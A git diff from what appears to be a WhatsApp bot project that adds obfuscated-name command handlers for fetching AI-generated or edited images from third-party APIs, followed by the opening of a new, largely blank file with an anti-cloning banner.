+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+const {
+ adams
+} = require("../Ibrahim/adams");
+const {
+ default: axios
+} = require("axios");
+adams({
+ 'nomCom': "generate4",
+ 'reaction': '🎞',
+ 'categorie': 'AI'
+}, async (_0x22ef9c, _0x5287a8, _0x2ccd49) => {
+ const {
+ repondre: _0x2b1a81,
+ arg: _0x885e30,
+ ms: _0x4eb9fe
+ } = _0x2ccd49;
+ try {
+ if (!_0x885e30 || _0x885e30.length === 0) {
+ return _0x2b1a81("Please enter the necessary information to generate the image.");
+ }
+ const _0x30bcaa = _0x885e30.join(" ");
+ const _0x93b128 = "https://samirxpikachuio.onrender.com/marjia?prompt=" + _0x30bcaa;
+ _0x5287a8.sendMessage(_0x22ef9c, {
+ 'image': {
+ 'url': _0x93b128
+ },
+ 'caption': "*®ADAMS 2024*"
+ }, {
+ 'quoted': _0x4eb9fe
+ });
+ } catch (_0x3fe80d) {
+ console.error("Erreur:", _0x3fe80d.message || "Une erreur s'est produite");
+ _0x2b1a81("Oops, an error occurred while processing your request");
+ }
+});
+adams({
+ 'nomCom': "extract",
+ 'reaction': '⏳',
+ 'categorie': 'AI'
+}, async (_0x22ef9c, _0x5287a8, _0x2ccd49) => {
+ const {
+ repondre: _0x2b1a81,
+ arg: _0x885e30,
+ ms: _0x4eb9fe
+ } = _0x2ccd49;
+ try {
+ if (!_0x885e30 || _0x885e30.length === 0) {
+ return _0x2b1a81("Please insert the image url Bmw-Md will extract it for you.");
+ }
+ const _0x30bcaa = _0x885e30.join(" ");
+ const _0x93b128 = "https://www.samirxpikachu.run.place/extract/text?url=" + _0x30bcaa;
+ _0x5287a8.sendMessage(_0x22ef9c, {
+ 'image': {
+ 'url': _0x93b128
+ },
+ 'caption': "*®ADAMS 2024*"
+ }, {
+ 'quoted': _0x4eb9fe
+ });
+ } catch (_0x3fe80d) {
+ console.error("Erreur:", _0x3fe80d.message || "Une erreur s'est produite");
+ _0x2b1a81("Oops, an error occurred while processing your request");
+ }
+});
+adams({
+ 'nomCom': "generate",
+ 'reaction': '🎞',
+ 'categorie': 'AI'
+}, async (_0x22ef9c, _0x5287a8, _0x2ccd49) => {
+ const {
+ repondre: _0x2b1a81,
+ arg: _0x885e30,
+ ms: _0x4eb9fe
+ } = _0x2ccd49;
+ try {
+ if (!_0x885e30 || _0x885e30.length === 0) {
+ return _0x2b1a81("Please describe your image and Bmw Md will generate it.");
+ }
+ const _0x30bcaa = _0x885e30.join(" ");
+ const _0x93b128 = "https://samirxpikachuio.onrender.com/flux?prompt=" + _0x30bcaa;
+ _0x5287a8.sendMessage(_0x22ef9c, {
+ 'image': {
+ 'url': _0x93b128
+ },
+ 'caption': "*®ADAMS 2024*"
+ }, {
+ 'quoted': _0x4eb9fe
+ });
+ } catch (_0x3fe80d) {
+ console.error("Erreur:", _0x3fe80d.message || "Une erreur s'est produite");
+ _0x2b1a81("Oops, an error occurred while processing your request");
+ }
+});
+adams({
+ 'nomCom': "generate2",
+ 'reaction': '🎞',
+ 'categorie': 'AI'
+}, async (_0x22ef9c, _0x5287a8, _0x2ccd49) => {
+ const {
+ repondre: _0x2b1a81,
+ arg: _0x885e30,
+ ms: _0x4eb9fe
+ } = _0x2ccd49;
+ try {
+ if (!_0x885e30 || _0x885e30.length === 0) {
+ return _0x2b1a81("Please describe your image and Bmw Md will generate it.");
+ }
+ const _0x30bcaa = _0x885e30.join(" ");
+ const _0x93b128 = "https://samirxpikachuio.onrender.com/marjia?prompt=" + _0x30bcaa;
+ _0x5287a8.sendMessage(_0x22ef9c, {
+ 'image': {
+ 'url': _0x93b128
+ },
+ 'caption': "*®ADAMS 2024*"
+ }, {
+ 'quoted': _0x4eb9fe
+ });
+ } catch (_0x3fe80d) {
+ console.error("Erreur:", _0x3fe80d.message || "Une erreur s'est produite");
+ _0x2b1a81("Oops, an error occurred while processing your request");
+ }
+});
+adams({
+ 'nomCom': "generate4",
+ 'reaction': '💎',
+ 'categorie': 'AI'
+}, async (_0x22ef9c, _0x5287a8, _0x2ccd49) => {
+ const {
+ repondre: _0x2b1a81,
+ arg: _0x885e30,
+ ms: _0x4eb9fe
+ } = _0x2ccd49;
+ try {
+ if (!_0x885e30 || _0x885e30.length === 0) {
+ return _0x2b1a81("Please describe your image Bmw md will generate it.");
+ }
+ const _0x30bcaa = _0x885e30.join(" ");
+ const _0x93b128 = "https://www.samirxpikachu.run.place/multi/Ml?prompt=" + _0x30bcaa;
+ _0x5287a8.sendMessage(_0x22ef9c, {
+ 'image': {
+ 'url': _0x93b128
+ },
+ 'caption': "*®ADAMS 2024*"
+ }, {
+ 'quoted': _0x4eb9fe
+ });
+ } catch (_0x3fe80d) {
+ console.error("Erreur:", _0x3fe80d.message || "Une erreur s'est produite");
+ _0x2b1a81("Oops, an error occurred while processing your request");
+ }
+});
+adams({
+ 'nomCom': "wash",
+ 'reaction': '🎇',
+ 'categorie': 'AI'
+}, async (_0x22ef9c, _0x5287a8, _0x2ccd49) => {
+ const {
+ repondre: _0x2b1a81,
+ arg: _0x885e30,
+ ms: _0x4eb9fe
+ } = _0x2ccd49;
+ try {
+ if (!_0x885e30 || _0x885e30.length === 0) {
+ return _0x2b1a81("Kindly enter a valid image url to beautify your image.");
+ }
+ const _0x30bcaa = _0x885e30.join(" ");
+ const _0x93b128 = "https://samirxpikachuio.onrender.com/remacne?url=" + _0x30bcaa;
+ _0x5287a8.sendMessage(_0x22ef9c, {
+ 'image': {
+ 'url': _0x93b128
+ },
+ 'caption': "*®ADAMS 2024*"
+ }, {
+ 'quoted': _0x4eb9fe
+ });
+ } catch (_0x3fe80d) {
+ console.error("Erreur:", _0x3fe80d.message || "Une erreur s'est produite");
+ _0x2b1a81("Oops, an error occurred while processing your request");
+ }
+});
+
+
diff --git a/scs/bmwba.js b/scs/bmwba.js
new file mode 100644
index 0000000..5775ec8
--- /dev/null
+++ b/scs/bmwba.js
@@ -0,0 +1,15300 @@
+/**
+Yoo bro what au looking for
+Just deploy the bot with original repo
+
+BMW MD
+
+Made by dev Ibrahim Adams
+
+
+ _.u[[/;:,. .odMMMMMM'
+ .o888UU[[[/;:-. .o@P^ MMM^
+ oN88888UU[[[/;::-. dP^
+ dNMMNN888UU[[[/;:--. .o@P^
+ ,MMMMMMN888UU[[/;::-. o@^
+ NNMMMNN888UU[[[/~.o@P^
+ 888888888UU[[[/o@^-..
+ oI8888UU[[[/o@P^:--..
+ .@^ YUU[[[/o@^;::---..
+ oMP ^/o@P^;:::---..
+ .dMMM .o@^ ^;::---...
+ dMMMMMMM@^` `^^^^
+YMMMUP^
+
+ Unclone version 😂🤣
+
+ **/
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
